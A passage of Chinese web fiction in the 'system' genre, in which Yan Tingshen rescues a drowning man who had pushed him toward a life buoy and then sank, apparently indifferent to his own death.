严庭深看不到岸边的场景,却听到有什么落水的声音,直到男人换了一个姿势,他才看清水上漂浮的救生圈。
只有一步之遥。
看出男人已经力竭,他正要让出身位,方便男人借力休息。
然而还没转身,他感到身后一重。
男人没去抓紧这个唯一生的机会。
对方似乎用尽了最后的力气,把他推了过去。
严庭深回眸。
男人正力竭沉入水底,唇边却勾起漫不经心的浅笑,见他看过来,也不发一言,只缓缓闭上了那双流光溢彩的眼睛。
明知会死,为什么要这么做?
【目标已力竭,请宿主——】
提示没能说完。
严庭深已经带着救生圈折返。
他俯身入水,看着毫无求生本能的男人,伸手扣住对方手腕,第一时间把人拉回了水面。
男人皱眉低咳两声。
睁眼看到他,男人眼底闪过意外,唇边又有笑意,然而丝毫没有绝处逢生的星点情绪,只问了无关痛痒的一句话。
“你会游泳?”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&